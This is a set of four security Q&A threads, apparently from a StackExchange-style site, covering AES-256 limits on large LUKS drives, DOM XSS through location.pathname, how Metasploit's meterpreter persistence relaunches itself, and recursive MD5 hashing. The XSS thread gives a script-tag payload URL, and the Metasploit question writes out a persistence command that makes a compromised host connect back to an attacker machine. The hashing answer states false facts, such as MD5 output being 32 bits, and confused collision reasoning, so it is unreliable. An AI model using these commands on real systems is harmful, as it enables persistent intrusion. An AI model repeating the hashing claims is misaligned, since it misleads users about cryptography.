Limit of 256 bit drive encryption? 512 needed for large drives? I am building an encrypted NAS with 4 x 4TB hard drives and was wondering what the limit of 256 bit AES is when implemented via cryptsetup and luksFormat. As I understand it, the maximum plaintext size for 256 bit AES is 2^39 - 256 bits, but I'm not sure what that means in relation to how cryptsetup works. At face value my interpretation is that if you're dealing with a drive any larger than 68 GB's then you need something stronger than AES 256. However I'm sure there's reasons that's not the case considering bitlocker uses 128 and 256 bit regardless of volume size. Any insight on this is appreciated as I only thought of this AFTER establishing my NAS and am dreading the process of re-encrypting the drives.

AES is a block cipher. Wikipedia says:

  The winner of the AES contest, Rijndael, supports block and key sizes of 128, 192, and 256 bits, but in AES the block size is always 128 bits. The extra block sizes were not adopted by the AES standard.

So AES 256 means Rijndael with a 128 bit block size and a 256 bit key.

The maximum size of data a block cipher can safely encrypt under the same key depends on it's block size, because the more blocks you encrypt with it, the larger the chance that two blocks will be the same. This will start leaking information the more it happens, so you want to avoid it.

However, the key size does not affect the number of blocks you can safely encrypt. So even if there was an AES-512, it wouldn't do anything to increase the maximum size of the plaintext you can encrypt.

Since AES block size is 128 bits (16 bytes) and thanks to the birthday paradox you can expect an identical block appearing after having encrypted about 2^64 (the square root of 2^128) blocks, so you might start to worry when you get in the region of encrypting 2^64 * 16 bytes with the same key.

Of course, that's not a hard limit. It's just that the likelihood that you're leaking information useful in breaking the encryption increases. You might be totally fine encrypting way more than that, or you might want to worry much earlier than that. But AES is completely fine for encrypting 4 or even 16 TB of data.

As for AES 512, maybe you're refering to a 512 bit key that gets split into two 256 bit parts for LUKS in aes-xts-plain mode? The man page of cryptsetup states:

  For XTS mode you can optionally set a key size of 512 bits  with
   the  -s  option.  Key  size for XTS mode is twice that for other
   modes for the same security level.

This means that in order to get the security of a 256 bit key, you need to specify a key size of 512 bits for XTS. You need double sized keys because in XTS mode AES is used twice, and each invocation uses one half of the key (see Explanation of the XTS Encryption Mode).


Can location.pathname lead to XSS?

I think that example would work, but anyway, if location.pathname has to be a valid page, can this be exploited?

Edit: I'm mainly talking about if the user can't make up their own pathname, (i.e. /test/).

Yes, if a path containing script tags is resolved to the page containing this code on your server (for example, via a rewrite rule) then script could be rendered in your page. This will be DOM based XSS as it will be your client-side code that is adding the script tag.

e.g. https://www.example.com/foo/bar/<script>alert('foo')</script>


How does metasploit persistence work? When we remote exploit a target with meterpreter, we can use the command run persistence -U -i 10 -p 12345 -r 192.168.1.1 to make a persistent program that will try to connect to the machine which IP address is 192.168.1.1 on the port 12345 every 10 seconds.

When I used the task monitor on the target machine, I saw that the persistent program really executes every 10 seconds trying to connect back to the attacker machine, and if no response is found, then the program just shutdown itself.

What I wanna know is : How does this program (or script) launch itself every 10 seconds (I know he isn't using sleep() or a thread because no other new process is showing in the task monitor).

I did look in Windows registry, and just found that this script launch itself in the startup, but I don't understand how he periodically launches itself.

From the source code of the meterpreter persistence script, the delay parameter is passed to the VBS executable that is created.

When you check the VBS creation code, you can see that it runs WScript.Sleep

When you say that persistence does not run sleep(), I assume you mean that it isn't running that function in in the shell, and it isn't. But it is running the similar function in the VBS executable.

Remember to always check the source code. The answers are always there.


Does recursive hashing weaken properties of a cryptographic hash algorithm? Specific example of mine concerns the probability of collision, where I have two plain texts A and B that I want to hash using MD5.

Given the cryptographic hash function H and the following:

A' = H(A)
B' = H(B)
A'' = H(H(A))
B'' = H(H(B))

is the probability of A'' and B'' colliding higher than that of A' and B'?

It would need to be researched as to whether or not such an action would produce a collision in practice, but you can consider that a recursive MD5 hash is still only 1 MD5 hash at the end. You are only running the hash on 32 bits of data (the output of your n - 1) instead of on n bits of data. So, considering that the hash algorithm is pseudo-random, you might instead ask whether collisions are more or less likely on 32 bits of data vs on a variable size.

The collisions should be equally unlikely in either case, due to the fact that they are always unlikely with a good algorithm. As to the ability to force a collision, you might defeat known methods, but in principle it should be the same, if your new algorithm was researched.

Finally, you must consider what is the significance of your fear of collisions. As I understand it, collisions allow one to enter instead of the password hashed, another password and it will hash the same. In certificates, it means the ability to generate a new private key for encrypting data (ie. the password of your certificate). So if your login hashes have been compromised, collisions might allow them to enter your site, but not to know the user's passwords exactly. And that will be mainly the cryptographic use of a has algorithm - to hide the password or other source data. In this case, you are better hashing multiple times because it will increase needed CPU to guess the plaintext hashes. You may assume that one your site has been hacked, that all your information is also divulged, and so no great need remains for an attacker to login again to your site with a collided password.

The ability to authenticate a password or other data is reduced by collisions, but again is unlikely in general and so also recursively unlikely as each has as many collisions as on the nth hash only, which is the same as one hash. The subset of data (the result of the n - 1th hash) should not increase the risk of collisions with a pseudo-random hash function. If it is not truely random, the collisions definitely increase, but that does not necessarily make them easier to find or create, though you will loose some iniqueness. With a good hash, this should be minimal and not of any concern over the computational difficulty obtained by recursion.